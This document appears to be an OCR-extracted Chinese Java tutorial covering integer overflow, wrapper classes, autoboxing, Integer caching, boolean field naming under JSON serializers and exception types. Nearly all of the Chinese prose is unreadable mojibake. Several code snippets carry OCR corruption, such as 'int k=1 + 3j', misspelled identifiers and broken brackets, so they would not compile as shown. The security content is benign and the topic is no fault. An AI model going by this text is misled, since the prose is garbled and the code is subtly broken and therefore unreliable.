ZHI—RRGNNE, F2EREEER, AENERLSIRN S KE R BASEG
RIS, FANRWEIZEEERER .

£15 BASEG4 RSN BMESLFFBRIRHERNI T 25

ISt
FHEARERS, TREY, BXFHEEENTNEEREIT 65535, FEAE
javac HFITIIRE IR T &RA(EN 65534,

=T, KEAGEET Int iSEE, SUEHES.
&, XPAIRR , HRE T IR( )5

Hoh G X F e 78 A e R Java #GELARINEXT javac i##47 deubg H9#LI5 .

Wi —5% 3,


https://www.bilibili.com/video/BV1uK4y1t7H1/

Bahif/=FERIEH < 98

AN EZEAA Java PRIEIFES Baa=ErIE X IR,

EXrHEERE

BHARER, EMMAERE, & Java PARETE(Class)AHEE . BlilEFed]
TRIZP(EFRINEAIREL,

Java B—MgRBUES, B IXHRRTEYINRBEIEERE, FRTEMENRAZE

SBRIIAN .

Java EARREIHE )\#, BEARELEFIHH=2E:

UERBIN AT LIS BT . . int. GIEFEYESie . o

Java FRIBEREAFELASH, SlINEECEREER, FoEENSREAR
IR E R FR BRI TS

Lhrt, Java PRGFESI—FHEREE , EEBYNAERSE
, NIRAITEEZI I I TIRIF .

BEXHIEREG AT

BAIEPFIEE Java 55, — P REBFMEEEERY, FEIIPaI5IA%
ERIXENIR; FALL, MRABFKEZREERIFE

MNTEFERTAIEE, MintF, MRB(ISXERBXMEZSNREFE new —1
Java WRANE, AELERAE ., FrLA, M C++—1F, Java R TEREIEEE, X
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EHZEAHFZREM new EIF, MIFSEHELEIE, MEEEREXATREE, Bits
BN

BRNEETE

Java PHEEREBEE byle. short, Nt long XI0H, FROEEEEBEZMI
Bk, ZHLETCE R REEAM SRR T SIS TR X

FRANEERIRIES, 1FH=8 (bit) . java PHEEETEFSH.

FeRBEITEF 8bit ATLAFRRAIE T

B/ME: 10000000 (-128) (-2~7)
BAME: 01111111 (127) (277-1)

BARGX LB

byte: byte A1 1MFHXREFME, SBEN-128(-2"7)2 127(2"7-1), HZEHIHKE
BHE, byte SEELRIBUAES O,

short: short A 2 MNFHFE, SBEN-32,768 (-2M5)% 32,767 (2M5-1), EER
SVRAEHE, short EXERIENME 0, —RIER T, ER Java REHRIRIRE,
AJLIEESRN 0.

int: int B 4 MFTEME, SBEN-2,147,483,648 (-2"31)% 2,147,483,647 (231
—1), EREMRMRIRHE, int SREIRIEGAMED O,

long: long A 8 MFT517ME, SEEN-9,223,372,036,854,775,808 (-2"63)% 9,
223,372,036, 854,775,807 (2"63-1), HEZEWIRMWAIATIE, long KERIBUAE
A 0L 0l, BAJE#EEH 0.

BHeEEAD

FERET, BEH, S0 KB —ENRTEE, B, EEFFEEHERSE
EHREE, Bt . LI CHE:
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int i = Integer.MAX VALUE;

int j = Integer.MAX VALUE;

int k=1 + 3j;

System.out.println("i (" + i + ") + 3 (" + 3+ ")

IHHEER: 1 (2147483647) + | (2147483647) = k (-2)

XIERET ml, BEMIHERAASNEE, BREHTRER. A, EEFS, &
FRRZEENEEHTEENIME, —EB SR RLAITR .

Java lBE— M HENRES, (B2 Java PREARHIERIAZAEENIREY,
XELIRMERRFAERZSIIANME, ATHRRIXNAE, ERITENAB N EARLIEREIRIT
TN ERHTHAEK, XFE/\PNERAYBERENNNERER B EE
(Wrapper Class).

BRI T javalang B, BEREMEREIREREAININ KRN TR

HEARHERR (2EES
byte Byte
boolean Boolean
short Short
char Character
int Integer
long Long
float Float

double Double
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EX)\NELZ, 8T Integer #1 Character LS, HE/NMEREZMNEREIE
R, AREZNE—NF=BAERIT],

It ABEE L

REASBLRED, B Java FATRSHR, #H 7T/ FIERIERE, HHAEE
RMELENE?

XANEE, HLREeEE 78R, Fl Java 2—MHBENRIES, RBEMHEFE
ERMRMARERMIEERE. thil, AEGEF, HIIRTER int « double F2EEY
HER . HAEEGHERERITERRE Object 328,

ATIUERARFRE O EENRAMHE, BN TR, I TREREKE "G
K7, FSEEBTHRIMER, AEIERNTEEMSGE, F27TEARLERERE,

IFFES%AE

A, BT ESERIEEE, SEELIHEEAMNZEHTER . tbanit—1
BRI int 2R — M BSEEIRT Integer JIR.

HADANBERENEARRLRNELE, LA, IEEARIEERERAR B EETE R
FIEZE, TN T boxing, FXEHRNEME.

Rz, EEEFERNESIERBAIESREAZIFEER, TXXINT unboxing, HX
EEuiRAE

£ Java SEb ZHl, BdTRAE, TLUEILA !
Integer i = new Integer (10);

BaiFESBniiiE

£ Java SES /R, ATERDHRARNIIE, Java gt T Bahiffa S BaaEI8E,

Babiia: MERBEAIEEE BRI N AL .



EVEIAR/SREROSEI < 102
BEliffa: SR ER kBRI N ATE AR LIERE

Integer i =10; H sh3eH8
int b= i; H Zhifr4d

Integer 1=10 AR Integer i = new Integer (10);
XeEEA Java BEIVRE T BohEENINE, A*REALKEFNE new —
Integer IR,

Ba%E S BaiFfarISEHlRIE

BER Java IRt T BaiFERFERIBES, BRA, IFKE—T, FEREMALRIE,
Java RANISLIMAI B shiF=ETI8E .

BAIBLIT Bty tes:

public static void main(String[largs) {
%k s

Integer integer=1l; =< HH

int i=integer; Eiyic]

SHA LRI TR mIE R LUSEILA TS :

public static void main(String[largs) {

Integer integer=Integer.valueOf (1) ;

int i=integer.intValue();
}
N EERFFFERIBEILAESL, int (9B shEFEE 2 @I T353R
WAY, Integer BIEmHFFEERREIL SKELHIAY . ANSRIEEBSGE, AL

B8 MEEERRE—IRE , (RERILATRE:

EES RS ENRESE SN T5i%RSLHRY. Babiffa b 2Bl B2 IRAY
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i e =L

BOTHMIRIEZ S, BRE—T, A4ABRT, Java 2HEBAIHITEIFEHE. B
ERFNZEMRCARENZSHANE T, BERERNEEZIERN.

BAIEERE—T, BRELAIREHRBIERINR .
mE—. BREFHIREXEBNESSE

BAANE, Java PRIESRRBEEBIIRER, BRALITRBATASFIRIENE?

List<Integer> 1li = new ArrayList<>();
for (int 1 =1; 1 < 50; 1 ++){

li.add (1) ;

B LEERITRRE, JLUSEILAITMCEE:

List<Integer> 1li = new ArrayList<>();
for (int 1 =1; 1 < 50; 1 += 2){

li.add(Integer.valueOf (i));

LE, TMAJLUSHESE, SRANEERMIEREMANESE PRI R, SHTENR
o

= BIERESEEIEARSBIRA/NER

BB ANEE, BEAIXT Integer IHRESERELEIHITA/NCEAIETR, SChr_EELERAY
BT ARBER? ELATLRE:
Integer a=1;
System.out.println (a==1?"&T":"A~&ET");

Boolean bool=false;

System.out.printTﬂ(bool?"f?'ﬂ%ﬁ");

A ERIBH TR mE, SRILATE:
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Integer a=1;

System.out.println(a.intValue ()==1?2"%T":"A%FT");
Boolean bool=false;

System.out.println (bool.booleanvValue?"E":"{&K") ;

HJLAER, BREEENREEHITHRIZE , oS TIRaE N EEE

B, REdTtiRey.

==. BEENER

BIREANEE, HENIXT Integer JWHFTHUNIzERIEHE, A THIR? BT

AR

Integer i = 10;
Integer j = 20;

System.out.println(i+j);

REmFERABT:

Integer i = Integer.valueOf (10);
Integer j = Integer.valueOf (20);
System.out.println(i.intValue() + j.intValue())

BRI, MIBREEZERIEE, SEREIREAEREEHT.

=M. ZBiz8/FNER

ERZBATMEBHII— M5, (FEBE—IRE EAMMKRY Bug RERT TH#

—hZEHl. AR =BEE/FI:

boolean flag = true;
Integer i = 0;
int j = 1;

int k = flag 2 i : j;

ERy

REAFRIE, HHE X—17, SREBIFMAE (JDK1.8 ZHT,

R ) o REWFEAABINT:


https://www.hollischuang.com/archives/4749
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boolean flag = true;

Integer i = Integer.valueOf (0);
int j = 1;

int k = flag ? i.intValue () : j;
System.out.println (k) ;

XHELRE = HEBHELIE. 38, F=MERFHDFIAERNEEINRET, H
PRI RASIFFENERLRHITIRE.

EAfF, flag 7 1 [ RRP, FTRNIE—TEEEENNR, MBE=RA
JR—IEREE, FLUSXEREHTEMRE. MRX IR i f9ED null, BBAHME
RENPE, (BiiffaSH=EHESR)

mRA. RESHSROE
XN EZIEME, B ERET:

// BB

public int getNuml (Integer num) {
return num;

}

WG

public Integer getNum2 (int num) {

return num;

BaiFRESEF

Java SE NBmiFEAEMEE T — M MIEFE XN, KV REUTHE, Bl
— AR
public static void main (String... strings) {

38
Integer integer2 = 3;

Integer integerl

if (integerl == integer2)

System.out.println ("integerl == integer2");
else

System.out.println ("integerl != integer2");

Integer integer3 = 300;

Integer integer4 = 300;

if (integer3 == integerd)
System.out.println("integer3 == integer4d");

else

System.out.println("integer3 != integer4d"); }


http://www.hollischuang.com/archives/435
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BAIEBA N LEOR AR RERZ false . BARRIERIBER, E2BTtL
RIEMR, MURAISIRA—R, FRUASIAAREA if FIEERZ false B9, £ Java s, =
=LURAIZEXIRNA, M equals LERRIR(E. FILL, EXMIFH, FENNRERER
5IF, FRLAEETLHERAIBHEERRAIRE] false . BF1EAIZ, XEMMSELAY if SA4F RG]
REBYRIRIE.

FEXERAEEERS SR

integerl == integer?2

integer3 != integer4

[FEEEEF Integer FRVEEFENFEIBE X, 7 Java 5 H, £ Integer BIHR{ELESINT—1
HINBERT A NGFNIRS R, BANSEIFRBEREISRS AL T EFMER.

ERTFREHEXE-128 £ +127,

RIEATEabiiE . [EREREHBIENRTER.

BARRIAABSCI AT LA —X, XERBER,

BNRFENE, SFEHITEEEN, WRHFAE-128 127 Z[ER, SEEE
REFTHIINSR, MAREHRLIE— TR,

HAR javadoc FEHARNRE T EF 15128 I 127 ZENBiEEERE . RXE 12
7 BTl (Ee

SLPR EXANINEERE Java 5 RSIARIITR SEEREER-128 = +127. [FR{E Java
65, FLUEY IRERA(E.

XERA T LARIEN RIEFFRISERR B R RIS R RIES 1R 2R R A R FEIERX
N-128 2127 55ER? RAXNEENSFERM ZERN. TEFF, F—IXER
Integer AYAFERBHBE—ERIZRINT ERIBUIX TMER

7£ Boxing Conversion &% HY Java i5SHGE(JLS)E T :

MR—MEE p RYER:


http://www.hollischuang.com/archives/1174
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128 & 127 Z [AfM%E40 (§3.10.1)
true M false BAR/RME (§3.10.3)

“\u0000’ & “\u007£’ ZAIFFF (§3.10.4)

SEEIMAYET, 5 p &%k a #1 b XSRS, BILAERER a==b ¥k a 71 b AYER

SiE%.
BahiFRiE TR AR

S8, BaieRER—MREFNIIEE, RATETHRARINES, FBEFEXOIE
HARHMBEEEIRESS ., (B2, HAs|IN—LEH,

BARNIRAVEELLR, FRERBRAER-—, BR-128 F 127 Z[ERIFFALL, BR
XEEZINE R R EER 3738

RIEIEE), BLpRRHTENRER, EITtREY, BTFEiFE, MREEETR
A null, BAB=MFERMAERRENLE NPE.

MR for BB AREIREHERE, SRERSTR.

BY[ENX: EiZ Ml [RXAEE:

ENEEE:

RICENE Java F Integer BUEBFHEXINIR . IX2TF Java 5 F5| ANB—MEBFTH
BNE. EeteerIIEe. BEE—MEM Integer BIRAIKHS, NPZIHEFITH. &
ERNBEAH AR AR BEIEL2ANSTIA . (ReeE L TEAY Java R HER
5. MMRIFNERIMEELSRA—E, BATREFHEELL T -


https://www.jianshu.com/p/cc9312104876
http://javapapers.com/java/java-integer-cache/
http://www.hollischuang.com/?p=1174
http://javapapers.com/
http://www.hollischuang.com/
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package com.javapapers.java;

public class JavalntegerCache ({

public static void main (String... strings) {

Integer integerl = 3;
Integer integer2 = 3;

if (integerl == integer2)
System.out.println("integerl == integer2");
else
System.out.println("integerl != integer2");

Integer integer3 = 300;
Integer integer4 = 300;

if (integer3 == integer4)

System.out.println ("integer3 == integer4d");
else

System.out.println("integer3 != integer4d");

ENEBEA N EERR N HIBTRIZSRERZ false . 2ALRRVERIBEFR, EHETLL
BRIEXR, MORASIAAR—, FRUASINAREA if FIEERZ false B9, # Java H,
FEERAIBIIRAA, EEERRIRE. FrLL, EXNMIFS, FRXNRERERN
5IF, FRLAEETLHERAIBHEERRAIRE] false . B1EAIZ, XEMMSELAY if SA4F RG]
REBIRRIE.

FEXERAEEERNRDER:

integerl == integer?2
integer3 != integer4

Java & Integer RO4E77CIN

£ Java 5, £ Integer FUIR{E ESIN T — 1 HINEE kDA AFIIES 14EE . AT
KBS ERBRONSRS B T EFNER.

ERTEHEXE-128 & +127,

RIERTBaiiE . (EREREBIENRTER.
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Java BmiF=SICE N EUR R BaE R p E RS RAIE IR S 20700, BT

A valueOf Fi%:

Integer a = 10; //this is autoboxing
Integer b = Integer.valueOf (10); //under the hood

MEFAIFE T XMULEIEREFMEER T, BBAZETRENNEE JDK RY

valueOf 73i%. Tz JDK 1.8.0 build 25 RYSEHL:

/**

%0

*

*

*/
public static Integer valueOf (int 1) {

Returns an {@code Integer} instance representing the specified
{@code int} value. If a new {@code Integer} instance is not
required, this method should generally be used in preference to
the constructor {@link #Integer(int)}, as this method is likely
to yield significantly better space and time performance by
caching frequently requested values.

This method will always cache values in the range -128 to 127,
inclusive, and may cache other values outside of this range.

@param i an {@code int} value.
@return an {@code Integer} instance representing {@code i}.
@since 1.5

if (i >= IntegerCache.low && 1 <= IntegerCache.high)
return IntegerCache.cache[i + (-IntegerCache.low)];
return new Integer (i) ;

ERIEX R ZEIZEM IntegerCache.cache 3, WNSRIGHEIAER new FHiERT

IntegerCache Class

IntegerCache 2 Integer ZEFRENXM— private static IR SE T REEMHH
EM o



BEshif/2=<rERIEH < 110

/**
* Cache to support the object identity semantics of autoboxing for values
between
* -128 and 127 (inclusive) as required by JLS.
*
* The cache is initialized on first usage. The size of the cache
* may be controlled by the {Q@Qcode -XX:AutoBoxCacheMax=} option.
* During VM initialization, java.lang.Integer.IntegerCache.high property
* may be set and saved in the private system properties in the
* sun.misc.VM class.
%/
private static class IntegerCache ({
static final int low = -128;
static final int high;
static final Integer cachel[];
static {
// high value may be configured by property
int h = 127;
String integerCacheHighPropValue =
sun.misc.VM.getSavedProperty ("java.lang.Integer.IntegerCache.h
igh");

if (integerCacheHighPropValue != null) {

try {
int i = parselnt (integerCacheHighPropValue) ;
i = Math.max (i, 127);
// Maximum array size is Integer.MAX VALUE
h = Math.min (i, Integer.MAX VALUE - (-low) -1);

} catch( NumberFormatException nfe) ({
// If the property cannot be parsed into an int, ignore it.

}
high = h;

cache = new Integer|[ (high - low) + 1];

int j = low;

for(int k = 0; k < cache.length; k++)
cache[k] = new Integer (j++);

// range [-128, 127] must be interned (JLS7 5.1.7)
assert IntegerCache.high >= 127;

private IntegerCache () {}

Hrhpg javadoc iFMANRE T EFE 15128 E) 127 Z BB sEREITE . FAE 12
7 AILAEIE - OC AutoBoxCacheMax=size 8%, EfFiEidT— for BRZLI . MEZR
SH AR O RE S HBMHFMEE— N EBEEAE S IXNEGFESE Integer Z£E—IXBE(FER
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RORMEIRADIR I LR . LS, SiALMEREFTESRISANSR, MAREIZE— M HISLA)
(TEEEAERIBIR )

LR EXANINEERE Java b SIARIETR, SEERREIERI-128 = +127. [F3K1E Java
6 9, ATLlEg IRERA(E . XEERA AT LARIER
FREFRISEIRER R EIERERIES RS . IR ARRIEEX 128 2 127 sStEe?
EARXEENHFERE ZERY. FEFF, B IXER Integer AIRHEEFE—
TERVERS M ESRAIA IR ER

Java IBEEAEHRNEFT/
= #B2RY Java IEEAE(JLS) MBI T
INR—1EE p HIER:
—128 £ 127 Z[8)p9%EE£1( & 3.10.1)
true #0 false B9%/RME (&3.10.3)

“\Ww0000” = “\u007f" ZEIMIFFF(& 3.10.4)F0ES, & p BE=AK a #l b PR
Y, BILAEEGEA a==b ¥k a #1 b fAYEREEE

HfthiZFaIXIR

XFEFITARAUERT Integer IR AT RIETERIRBELARIKE B LR ER
L o

£ ByteCache FF£7F Byte 3%

B ShortCache FIF4&7F Short X%

B LongCache AT Long 3I%

B CharacterCache FiF47F Character X%

’ ’ ﬁlﬁ]fﬁﬁ _128 él_] 1270Xj':_]: ) :;FBF/_\EE O él_] 1270
BRT LASh, ZAEEERARERER .


http://docs.oracle.com/javase/specs/jls/se8/html/jls-5.html
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EHEFLTD, BISEREREETENM/REENTE, IIERIMERGRHE—
RPC ZORIEHE, BI—REEN—IMFRETNRIEKEEMINN.

KFRXNRRBEREGHINHIFRIEN, HELERBREMHAFRMNL, HEFEM
SEARE, (FEERAZEFBERNISEUNER, AHKERZ N EEREDT—T. 2K

ZAMTE— P /REBRIA R T E

—RIBRT, BAITTUBLITOMEUREN —Mr/REEAIp R

i

Boolean success
boolean isSuccess
Boolean success
Boolean isSuccess

DL EMMENF  RBEF AT EERIZEFE? 2 EB—Fh7 2 ERIIERZES
e?

BT WMERFEATT AL, aiffflEmNEEX 2T SHEAE, iEERINR
boolean, [F&{#RAYZ Boolean,

B, B—MIE=MAEENXZTENIE, TEMHAR success, MBIIFEMHER
isSuccess FKapEMl.

B85, BI1ESH—T, FEMZEHRA success K, MME2(FEH isSuccess BIF
—

WO

success =2 isSuccess

FEMNIZEH success X2 isSuccess KETEmIZMe? MEN FERFE, Hmitds
LR EATLSHEE, FEBEISEEN . BBAREHHARNTASE LA IBEERE .

£ Java FFAFMRPXITE—=, BiE—1 [&EHE ] RE:
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8. [3&#l] POJO EHFH/RERMWEE, LAEMIs, BN ERBITESIEFIILEIR.
RH: EXRABALBIEER boolean isSuccess; MR, ERAEE isSuccess(), RPCIEZS
ERGFMTRORMR, “UR"NNNOEERIE success, SHEMZREAT, #MMERE.

A, RTASBXERINRER? FlIE—T POJO Sfn/REELTEFRAIGEET
AXBIE,

class Modell {
private Boolean isSuccess;
public void setSuccess (Boolean success) {
isSuccess = success;
}
public Boolean getSuccess () {

return isSuccess;

class Model2 {
private Boolean success;
public Boolean getSuccess () {
return success;
}
public void setSuccess (Boolean success) {

this.success = success;

class Model3 {
private boolean isSuccess;
public boolean isSuccess () {
return isSuccess;
}
public void setSuccess (boolean success) {

isSuccess = success;

class Modeld {
private boolean success;
public boolean isSuccess () {
return success;
}
public void setSuccess (boolean success) {

this.success = success;
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LA_ERRERY setter/getter 21 Intellj IDEA B4R, (FAMRLA LKL, (RE
KRILATHIEE:

« EAERIBAERRY getter #1 setter 757%, BFREBR 1s)OXO)F0 se OO o
« BEEBIRMAERRY getter # setter F5i%, BFRERRE 0e DO O)FD se DO FZ=LY .

BESR, BHAIERIAp—BEHAFEREARZER boolean REXHKREE T, BBAHKIIE
KEAHRET Model3 1 Model4 $89 setter/getter BAIX31.

AT AR, 228 Model3 1 Model4 I RTENLZFRARE, —1> =2 success,
59— =2 isSuccess, BRMIBNERKRY getter # setter 5 ABIRELZ isSuccess

#1 setSuccess.,

Java Bean #3XF setter/getter AI3E

*F Java Bean $fJ getter/setter HiZHNENX EL 2B BEMHIIMNERN, RIE
JavaBeans(TM) Specification Mizg, WMREEEAISE propertyName, ZLATHET
ENXH setter/getter:

public <PropertyType> get<PropertyName> () ;
public void set<PropertyName> (<PropertyType> a);

B2, /REERIZESE propertyName NIZBIRE N AY:

public boolean is<PropertyName> () ;
public void set<PropertyName> (boolean m) ;

8.3.2 Boolean properties
In addition, for boolean properties, we allow a getter method to match the pattern:
public boolean is<PropertyName> () ;

This “is<PropertyName>" method may be provided instead of a “get<PropertyName>" meth-
od, or it may be provided in addition to a “get<PropertyName>" method.

In either case, if the “is<PropertyName>" method is present for a boolean property then we will
use the “is<PropertyName>" method to read the property value.

An example boolean property might be:

public boolean isMarsupial():;
public void setMarsupial (boolean m);


https://download.oracle.com/otndocs/jcp/7224-javabeans-1.01-fr-spec-oth-JSpec/
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BIEXRIX D JavaBeans #58, 1AM, £ Modeld /v, TE8E 5 isSuccess,
WNR AR IRALEE X AYIE, A9 getter F5iEMIZAY islsSuccess . {ER21RZ IDE #<E
INERL A isSuccess.

|

RIS ARIRRE o

FE—RIERT, HLERBFERY. ERE T MIRERMNSB®R, IBMERERFT
LRI .

FrAE SRRSO

FFFINFIRFIIBESE Java WEHE0 IS =00 B X B2 i E Y
JSON Ak, BEEEE R fastdson. jackson 1 Gson Z/@&@X5l:

public class BooleanMainTest {
public static void main(String[] args) throws IOException ({
/ /7> Model3 KA
Model3 model3 = new Model3 () :;
model3.setSuccess (true) ;
/ /M fastjson (1.2.16) FFI{k model 3 745 5 Fr4i H
System.out.println("Serializable Result With fastjson :" + JSON.toJSON
String (model3)) ;
//1EH Gson (2.8.5) JFFIk model 3 4% 5 Hfdar
Gson gson =new Gson() ;
System.out.println ("Serializable Result With Gson :" +gson.toJson (mode
13));
/ /1 Jackson (2.9.7) FFIML model3 5T & Fhfa
ObjectMapper om = new ObjectMapper () ;
System.out.println("Serializable Result With jackson :" +om.writeValue
AsString (model3)) ;
}
}
class Model3 implements Serializable {
private static final long serialVersionUID = 1836697963736227954L;
private boolean isSuccess;
public boolean isSuccess () {
return isSuccess;
}
public void setSuccess (boolean success) {
isSuccess = success;
}
public String getHollis () {
return "hollischuang";


http://www.hollischuang.com/archives/1150
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AR Model3 , RBE— 1 RZER0 isSuccess, =M%, 93I2 IDE #
HAIBEIAERHY isSuccess #1 setSuccess, B 2/EE B SIEINN—NFE getter
RIS X,

L ERCRBHIH SR :

Serializable Result With fastjson :{"hollis":"hollischuang", "success":true}
Serializable Result With Gson :{"isSuccess":true}

Serializable Result With jackson :{"success":true,"hollis":"hollischuang"}

7t fastjson #0 jackson BY45R A, JFE3k2EHHY isSuccess FE#HEFFIRL success,
HEESIFEE hollis &, ™ Gson FR4E isSuccess FE& .

AT LIS EEEL: fastjson #1 jackson HIEXIRFIUEL json FRFERIEHE, 218
IR BN B iZEFRTE getter 5%, 15E getHollis #l isSuccess, ARRTE
JavaBeans #llll, ESIAAXZ2RNEM hollis #1 success ME. BEFIILK

json:{"hollis":"hollischuang","success":true}.

B2 Gson HAFA@XAME, tEBdkIBEHZEFERENE, FHEEERII
B json:{"isSuccess":true}.

AJLEER, BHFARNFIHIR, EETFIMCRIBHEERRIRRIBER—FRY, A
LA, TR RRIE— M RAFIMERATRERRT B .

BIERRIRIXTFXT getHollis B9FFLRZE N T BB fastjson. jackson #0 Gson 2
BRFEICREENAR, HIIEEIBMEI—L, FHIBEMM Model3 FlilRE, EFiN
TTRUAERE, BRILGR:

Serializable Result With fastjson :{"success":true}
Serializable Result With Gson :{"isSuccess":true}
Serializable Result With jackson :{"success":true}

WE, FAENFRIMLIEZRRERIM json ABFHAER, MRNFR—IR, EFEH
fastjson #17F54, BFER Gson RFEIMLEREHA?
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public class BooleanMainTest {
public static void main (String[] args) throws IOException {
Model3 model3 = new Model3 () ;
model3.setSuccess (true) ;
Gson gson =new Gson{() ;

System.out.println (gson.fromJson (JSON.toJSONString (model3) ,Model3.cla
ss));

class Model3 implements Serializable {
private static final long serialVersionUID = 1836697963736227954L;
private boolean isSuccess;
public boolean isSuccess () {
return isSuccess;

}
public void setSuccess (boolean success) {
isSuccess = success;

}
@Override
public String toString () {
return new StringJoiner (", ", Model3.class.getSimpleName () + "[", "1")
.add ("isSuccess=" + isSuccess)
.toString () ;

LAERCES, fthss

Model3[isSuccess=false]

XFANFAFHA SR =28k, EEZE A JSON 1EZREITERrER getter B&I
B—isSuccess Hi%x, AEEIE JavaBeans BIIE, BITHZEE N success, €
model IRFIULIFFRERBI R success truel,

RIE"success trueiX4 json &, Gson EZREEISETE, BiTkEISH Model
25/hRY success &M, B2 Model 2501 F isSuccess &%, B, RERFILERY
Model X5 5, isSuccess NIEERABAIAE false.

B2, —BUEBEREEEFNE, XEE— R .
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FRLA, 1EAFRE, HAIROZEBNEREREXMERNEE, XF POJO KiRitE
Xk, AFEMHEN—HFSFMITLUBRXANER T, AFEE isSuccess BA
success, X, ZEEEAIMREER success, getter 5iA=R isSuccess, X272
& JavaBeans #B8Y. TiCWFFIIIESS, HUTERE—F. MMNESLER 74D

)RR o

IR RAXT Java AFAFAHXSINEATT :

8. [3&HI] POJO £ArF/RERNTE, EAEM is, BUEPDIELRBITRSIEFIILEIR.
Bl EBSXCRHERBIESRE boolean isSuccess; HIEM, BAAEDE isSuccess(), RPCHEZS
EREFTHAE, “DARHNANEMERFRE success, SHEMREAZ, #HmMEFE.

SRUEENNE, BEXE2MERNJavaftiBNBENLRE. MPERNNBERER, BZERE
RIERT AR RFANARRE, FIBEXT L TXELZRSIEN.

XA iR RAERMEZ N EEBNENT., XNRRINER AR B EBERENEER
RATHE"BRER"#thiRAIEMR, thel AERHNIE, EMEX LRMEREM L FET RENRE,
tEEE TR EFEREE T3 —LEIE,

FrLA, EENX POJO 9t /REBINTERT, AEFMA isSuccess X, ME
E#{FF success!

Boolean &2 boolean

BIEEAINB5 T 1E success fl isSuccess Z[iMaEsE, BBAHIRERESERE,
FRIEIAR T :

boolean success
Boolean success

B4, ZEMNIZZA Boolean ir2 boolean F&E— NMp/REEIPTSIR?

HAFENE, boolean EEARHIEZXEEY, M Boolean 2EAEEE, XFEARHIEZEIN
BERZBREIMXBNESE (42 Java T EREE,

BA, FEX—THRZENITREEEE ARSI B AR FEAE T EIEEER?

BAIRE—RERAI:


https://www.zhihu.com/question/55642203
http://www.hollischuang.com/archives/2700
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/*‘k
* @author Hollis
%/
public class BooleanMainTest {
public static void main (String[] args) {
Model modell = new Model () ;
System.out.println ("default model : " + modell);

class Model {

/‘k‘k
* E— Boolean KA success AL E
=/

private Boolean success;

/‘k‘k
* FE—A boolean KA failure AR
w2/

private boolean failure;

/**

* f 5 toString ik, A Java 8 M StringJdoiner
x/

@Override

public String toString ()

return new StringJoiner (", ", Model.class.getSimpleName() + "[",

.add ("success=" + success)
.add ("failure=" + failure)

.toString () ;

LA ERRE SR

default model : Model[success=null, failure=false]

BILIEER, SFAVRERE Model RAIFERAVERIEHE, Boolean £ARIZE

BEMESN null, T boolean EEIWTELIREIIAMENR false,

BNXSTRAIENAER null, boolean EXREIEERIHIEUNMER false.

£ Java FFAFMSF, T POJO PalfdinEEErIiB e E —LNE:

HJH)

= AN
ExIX
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8. KT REAHE A S G 3 A 2 A ) e FH bRt G F

1 [5&%11 AT i) PoJO 28 14 06 4 F A0 25 a2 3 .

2> L5811 RPC J5id: (1R A1 1 2 Hl v 20 6 B a2 0

3> [HEFE] ATA R o fo AR 25 7Y

e POJO SR M AT HE AT PR R e T AL, i O ST R, AT
NPE i) @, ok NEERGTY, #0Hfd 2 ok ARk

(B0 B FE A S 0T RERE nulL, DR EBDARAE, HHEAREEE SRR NPE UK
oA b o A A R L, BRIE £ x%, x EEAREHR SR, R rReC RS, M
AR hiE, R [EFEERAME, SRR 0%, EAGHEM, MiZE Rk, el
HAERMM nulL 1, RRRBFRESMOGEE, . mARRA KRN, REIRE.

XEFWFAERERER, REZTAR?

FE—MNERIGIF, BAMI—MOZERSE, BT ENINEIRIEN RGN — 28
FRE, FNFUPZEZEORREETSE S — M FRENERFER . SF(NEIXMESH
IRAERATN: SR ER=ZM #HTHE, HEERHITHH.

MRBTHBRGRE, MAESRETEIME, WRXTFEE Double 2£AHYIE,
ZBOANMES null, WIRiZFEE double 2£B991E, ZBAIAEY 0.0,

RN BRGNS T ZBRROE RIS HRGIERE, 22 nul BETHHESEERIE,
PEMTER . =% 0.0 JREERAITIHE, SHEON 0 FlRiTIET . XMSEERHN
TR

XMEREEREENZENST, BIRERERMER, HmA LASIRBIE]XFhE -
B8, NREAEAIERINNE, REUEASIRE, HMANTRE

LIE, #E2iE POJO 1 RPC RUREIESEAEREENER
BREXTX—R, FEZEBEIFRENEL: XM THICEENEZE, BIANALIIE
B XD TR, FEFHAANER null HMSEH NPE B—FE&IFAISEE: . FJ9fh/REE

QA true/false FFVE , {1522 0] LIS MERE B 5 4EF 4R EE A false FTRYRREHIE M. .

&3k, fEESMA0 (Java FFEFM ) . (BESH) IEE—IR 252 1V1(qing)

Battle(jiao) 7 —TF . REZAMIR, KERS[FEAEREEE.
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BE, (FEEEBaE— RIS, REBERERIVRIEHHIIAHER null {E.

AN EGARERENTEENAEENGIRA TNE, REHNTLUISHES, EF
M= /REERIZE, TEHE—MEINBRMERZEOIREIER, 2R success Kaps,
Java FFRFMEINERTFRERENX POJO 1 RPC REIEFRIZTE .. EEXIERE
AILABEERYER null, FfHEE2RRE RS HIIXS null AYLIERT,
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Exception #1 Error, —&F#2 Java RELENEEFE, SEHEBEAEFE,
4% E Throwable 25,

Error & REFRRAVEIR, = java EBTHMERIERNEF TR, TRHEERF
RAMBXFRIEE, FRTREIETHMILEE, ©R Java EUTHBLERY.

Exception RTEFEERIE. TELENE, EHSERRITHATEMHIA
B, FEFVICIERYERE,

Java PRRE, FEAUDAMAZE, BIZHKEE (checked exception) F13E

ZHEE ( unchecked exception) -

NRE

XH

MFERFERRE, WR—ADEEFBNTETER T HEEZRRENL:

public void test () throw new Exception{ }

A, SEANEEFFERMENIME, —EENZSEHTAE( MReED L )
, BNRLEmFETAY, X2 —MEHIEE.

XFhEEE 1O BIEPERE . thil FileNotFoundException ,  ZEAMERIO iR
QIE—NHRIRHE, B—FMFHRER, MEXHAREE, A, EXEHCEENE
X EHE& R R~ FileNotFoundException, BRIFIRESIFXANAEHNERZE, XD
FEMRE—EI LAY, SBEABSAZIXIRAISHE Y, (RERMIR XM IE R s
QOIBIE

PRLASE, SIMEBLBIHAINTZAMAE, PptIE— SIS ROE, FANZ

ERAZERE
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FZaRE

NFEZHREERR, —RBETHEE, 2EEBRuntimeException. EREL
BIEHR, AREE IR, ERNRTHER, EETHNRAESEMRSTEZFR
AT,

XHMEE—RIUIEERANZAERERSHI. ilxE=Eit. #MEBRSE. L,
REAREBRREOHR, XEREHMESILIERAY. BHAFTERINENHTLHE.

WE—T, WMRFBXYAETEAETEHAME S MR ELIERE, MBI TR
BBEHBEMXESE.

throws. throw. try. catch. finally;

try FsRIsE — R P E B ERYRER;

catchTRRIRTE try IRIEE, FREEEEHIRNFERIEE,;
finally AaFR—BRABAEREFTAFERZEBERAIT;

throw &6 AskEBHfpibiN H — D RE;

throws ARSI — N AR REIE RIS ES;

SEGESNERM. 1. BoOE. 2. OE, ELERELE,
B8, THATREMIRT ZEHABRAME. 5 R2ER o

